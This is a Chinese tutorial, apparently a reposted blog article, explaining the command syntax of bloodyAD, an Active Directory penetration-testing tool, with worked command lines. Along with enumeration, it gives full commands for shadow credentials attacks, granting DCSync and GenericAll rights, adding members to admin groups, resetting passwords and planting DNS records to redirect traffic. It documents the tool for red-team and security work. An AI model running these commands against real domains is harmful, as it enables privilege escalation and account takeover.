bloodyAD 是一个功能强大且灵活的命令行工具,专为权限提升和域环境操作设计。它通过模块化的命令行界面(CLI)设计,支持从基础的信息查询到高级的攻击技术,广泛应用于红队测试、权限管理和域环境分析中。本文将详细介绍 bloodyAD 的命令语法结构、使用方式和实际应用场景。
更多参考可查看官方wiki: https://github.com/CravateRouge/bloodyAD/wiki/User-Guide
一、bloodyAD命令语法概述
bloodyAD 是一个基于Python开发的开源工具,专注于Active Directory环境的权限提升和操作。它采用模块化的命令行界面设计,通过动态解析CLI模块构建灵活且一致的命令结构。这种设计不仅提高了工具的可扩展性,还确保了用户能够快速上手并执行复杂操作。
1.1 基本命令结构
bloodyAD 的命令遵循以下通用语法格式:
bloodyAD [全局选项] <模块> <功能> [功能参数]
- 全局选项:用于配置连接和认证参数,例如域名、用户名、密码等。
- 模块:表示操作类别,包括
GET(查询)、ADD(创建)、SET(修改)和REMOVE(删除)。 - 功能:模块下的具体操作,例如查询子对象、创建用户或修改密码。
- 功能参数:针对具体功能的参数,可能包括目标对象、属性或其他配置项。
这种模块化设计使得用户可以根据需求灵活组合命令,执行从简单查询到复杂攻击的各种操作。
1.2 全局连接选项
bloodyAD 支持多种认证方式和连接配置,确保能够适配不同的AD环境。以下是常用的全局连接选项:
-d, --domain:指定用于NTLM认证的域名,例如domain.local。-u, --username:指定NTLM认证的用户名。-p, --password:指定密码或LMHASH:NTHASH格式的哈希值。-k, --kerberos:启用Kerberos认证,适用于需要票据认证的场景。-c, --certificate:用于Schannel认证或Kerberos PKINIT,提供证书文件路径。-s, --secure:启用LDAPS或GCS加密连接,确保数据传输安全。--host:域控制器的主机名或IP地址(必需参数)。--dc-ip:域控制器的IP地址,用于指定具体的域控制器。--dns:DNS服务器的IP地址,用于DNS解析。-t, --timeout:设置连接超时时间,单位为秒。--gc:连接到全局目录(Global Catalog),用于跨域查询。-v, --verbose:控制输出详细程度,启用后可查看更多调试信息。
这些选项为用户提供了灵活的配置方式,能够适配不同的网络环境和认证需求。例如,使用NTLM认证连接到域控制器可以这样配置:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p Password123!
二、核心功能模块
bloodyAD 的功能模块分为四大类:GET(查询操作)、ADD(创建和权限提升)、SET(修改操作)和 REMOVE(删除操作)。以下将逐一介绍每个模块的核心命令及其使用方法。
2.1 GET模块 - 查询操作
GET 模块专注于信息检索,适用于域环境的侦察和分析。以下是 GET 模块下的主要命令:
2.1.1 children命令 - 列出子对象
用于列出指定对象的子对象,常用于枚举组织单元(OU)或容器中的内容。
bloodyAD get children [target] [--otype] [--direct]
target:目标对象(例如OU或容器)的DN(Distinguished Name)。--otype:指定对象类型(如user、computer)。--direct:仅列出直接子对象,忽略嵌套对象。
示例:列出某个OU下的所有用户对象:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password get children "OU=Users,DC=domain,DC=local" --otype user
2.1.2 object命令 - 检索LDAP属性
用于查询指定对象的LDAP属性,支持细粒度的属性选择。
bloodyAD get object <target> [--attr] [--resolve-sd] [--raw] [--transitive]
target:目标对象的DN或sAMAccountName。--attr:指定要查询的属性(如sAMAccountName、memberOf)。--resolve-sd:解析安全描述符(Security Descriptor)。--raw:以原始格式输出结果。--transitive:递归查询关联对象。
示例:查询用户对象的属性:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password get object user1 --attr sAMAccountName,memberOf
2.1.3 search命令 - LDAP搜索
提供灵活的LDAP搜索功能,支持自定义过滤器和属性。
bloodyAD get search [--base] [--filter] [--attr] [--resolve-sd] [--raw] [--transitive] [-c]
--base:搜索的基准DN。--filter:LDAP过滤器(如(objectClass=user))。--attr:要返回的属性列表。-c:持续搜索,直到获取所有结果。
示例:搜索所有启用的用户账户:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password get search --base "DC=domain,DC=local" --filter "(objectClass=user)(!userAccountControl:1.2.840.113556.1.4.803:=2)"
2.1.4 membership命令 - 组成员关系
查询指定对象的组成员关系,支持递归查询。
bloodyAD get membership <target> [--no-recurse]
target:目标对象(用户或组)的DN或sAMAccountName。--no-recurse:禁用递归查询,仅返回直接成员关系。
示例:查询用户所在组:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password get membership user1
2.1.5 trusts命令 - 信任关系
枚举域信任关系,支持跨域查询。
bloodyAD get trusts [--transitive]
--transitive:包括间接信任关系。
示例:查询域信任关系:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password get trusts
2.1.6 dnsDump命令 - DNS记录枚举
枚举DNS记录,适用于域内DNS分析。
bloodyAD get dnsDump [--zone] [--no-detail] [--transitive]
--zone:指定DNS区域。--no-detail:简化输出。--transitive:包括跨域DNS记录。
示例:枚举DNS记录:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password get dnsDump --zone domain.local
2.1.7 writable命令 - 可写对象
查询当前用户对哪些对象具有写权限。
bloodyAD get writable [--otype] [--right] [--detail] [--include-del]
--otype:对象类型。--right:权限类型(如WriteProperty)。--detail:显示详细权限信息。--include-del:包括已删除对象。
示例:查询可写用户对象:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password get writable --otype user
2.2 ADD模块 - 创建和权限提升操作
ADD 模块用于创建新对象或执行权限提升攻击。以下是主要命令:
2.2.1 user命令 - 创建用户
创建新的域用户账户。
bloodyAD add user <sAMAccountName> <newpass> [--ou] [--lifetime]
sAMAccountName:新用户的账户名。newpass:新用户密码。--ou:指定用户创建的OU。--lifetime:账户有效期(秒)。
示例:创建新用户:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password add user test_user Password1234! --ou "OU=Users,DC=domain,DC=local"
2.2.2 computer命令 - 创建计算机账户
创建新的计算机账户。
bloodyAD add computer <hostname> <newpass> [--ou] [--lifetime]
hostname:计算机名称。newpass:计算机账户密码。--ou:指定OU。--lifetime:账户有效期。
示例:创建计算机账户:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password add computer test_pc Password1234! --ou "CN=COMPUTERS,DC=domain,DC=local"
2.2.3 groupMember命令 - 添加组成员
将用户或对象添加到指定组。
bloodyAD add groupMember <group> <member>
group:目标组的DN或sAMAccountName。member:要添加的成员DN或sAMAccountName。
示例:将用户添加到组:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password add groupMember "CN=Admins,DC=domain,DC=local" user1
2.2.4 dnsRecord命令 - 创建DNS记录
创建或修改DNS记录。
bloodyAD add dnsRecord <name> <data> [--dnstype] [--zone] [--ttl] [--preference] [--port] [--priority] [--weight] [--forest]
name:DNS记录名称。data:记录值(如IP地址)。--dnstype:记录类型(如A、CNAME)。--zone:DNS区域。--ttl:记录生存时间。
示例:创建A记录:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password add dnsRecord test.domain 8.8.8.8 --dnstype A --ttl 50
2.2.5 高级攻击技术
以下命令用于执行高级权限提升攻击:
- dcsync命令:授予DCSync权限,允许同步域对象。
bloodyAD add dcsync <trustee>
- shadowCredentials命令:执行影子凭据攻击,生成证书以模拟用户身份。
bloodyAD add shadowCredentials <target> [--path]
- genericAll命令:授予完全控制权限。
bloodyAD add genericAll <target> <trustee>
- uac命令:修改用户账户控制(UAC)标志。
bloodyAD add uac <target> -f <flag1> [-f <flag2>]
示例:执行影子凭据攻击:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password add shadowCredentials target_user --path output_file
2.3 SET模块 - 修改操作
SET 模块用于修改AD对象属性。
2.3.1 password命令 - 密码修改
修改用户或计算机账户的密码。
bloodyAD set password <target> <newpass> [--oldpass]
target:目标对象的DN或sAMAccountName。newpass:新密码。--oldpass:旧密码(可选)。
示例:修改用户密码:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password set password user1 NewPassword123!
2.3.2 restore命令 - 恢复删除对象
恢复已删除的AD对象。
bloodyAD set restore <target> [--newName] [--newParent]
target:已删除对象的DN。--newName:恢复后的新名称。--newParent:恢复后的新父容器。
示例:恢复用户对象:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password set restore "CN=user1,CN=Users,DC=domain,DC=local"
2.4 REMOVE模块 - 删除操作
REMOVE 模块用于清理对象或权限。
2.4.1 genericAll命令 - 移除完全控制权限
移除指定对象的完全控制权限。
bloodyAD remove genericAll <target> <trustee>
示例:移除完全控制权限:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password remove genericAll user1 trustee1
2.4.2 groupMember命令 - 移除组成员
从指定组中移除成员。
bloodyAD remove groupMember <group> <member>
示例:移除组成员:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password remove groupMember "CN=Admins,DC=domain,DC=local" user1
2.4.3 shadowCredentials命令 - 移除影子凭据
移除目标对象的影子凭据。
bloodyAD remove shadowCredentials <target> [--key]
示例:移除影子凭据:
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password remove shadowCredentials user1
三、动态参数解析机制
bloodyAD 使用Python的反射机制动态构建命令行界面。通过检查函数签名和文档字符串,工具自动生成参数解析器,确保命令接口的一致性和可扩展性。这种设计允许开发者轻松添加新功能,而无需修改核心代码。
例如,命令的参数类型由函数签名决定,解析器会根据类型注解(如 str、int、bool)自动处理输入。这种机制极大提高了工具的灵活性和维护性。
四、参数类型处理
bloodyAD 支持多种参数类型,以满足不同场景的需求:
- Literal类型:限制参数为特定值集合(如
--dnstype的A、CNAME)。 - 布尔类型:使用
store_true动作(如--secure)。 - 列表类型:使用
append动作支持多值参数(如--attr)。 - 其他类型:直接映射到Python类型(如字符串、整数)。
这种灵活的参数处理机制确保了用户能够以直观的方式输入复杂参数。
五、实际使用示例与场景分析
以下是一些基于实际测试的命令示例,展示 bloodyAD 在不同场景下的应用:
5.1 影子凭据攻击
影子凭据攻击是一种高级权限提升技术,通过为目标用户生成证书来模拟其身份。
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password add shadowCredentials target_user --path output_file
场景:渗透测试中,攻击者获得域用户权限后,通过影子凭据攻击获取目标用户的证书,进一步提权。
5.2 创建计算机账户
创建计算机账户可用于模拟合法设备加入域。
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password add computer test_pc Password1234! --ou "CN=COMPUTERS,DC=domain,DC=local"
场景:红队测试中,攻击者创建伪造的计算机账户以混淆防御者或执行后续攻击。
5.3 DNS记录操作
修改DNS记录可用于重定向流量或执行DNS欺骗。
bloodyAD --host 172.16.1.15 -d domain.local -u user -p password add dnsRecord test.domain 8.8.8.8 --dnstype A --ttl 50
场景:攻击者通过添加恶意DNS记录,将用户流量重定向到恶意服务器。
六、总结
bloodyAD 作为一款专业的Active Directory渗透测试工具,通过其模块化的命令行设计和动态参数解析机制,为用户提供了从基础查询到高级攻击的全方位功能支持。本文详细介绍了其命令语法、核心模块、参数处理机制及实际应用场景,帮助用户快速上手并高效利用该工具。
无论您是进行红队测试、域环境管理还是安全研究,bloodyAD 都能为您提供强大的支持。通过合理配置全局选项、熟练掌握模块功能并遵循最佳实践,您可以在AD环境中实现高效且安全的操作。
原文 https://blog.csdn.net/2301_79518550/article/details/148675265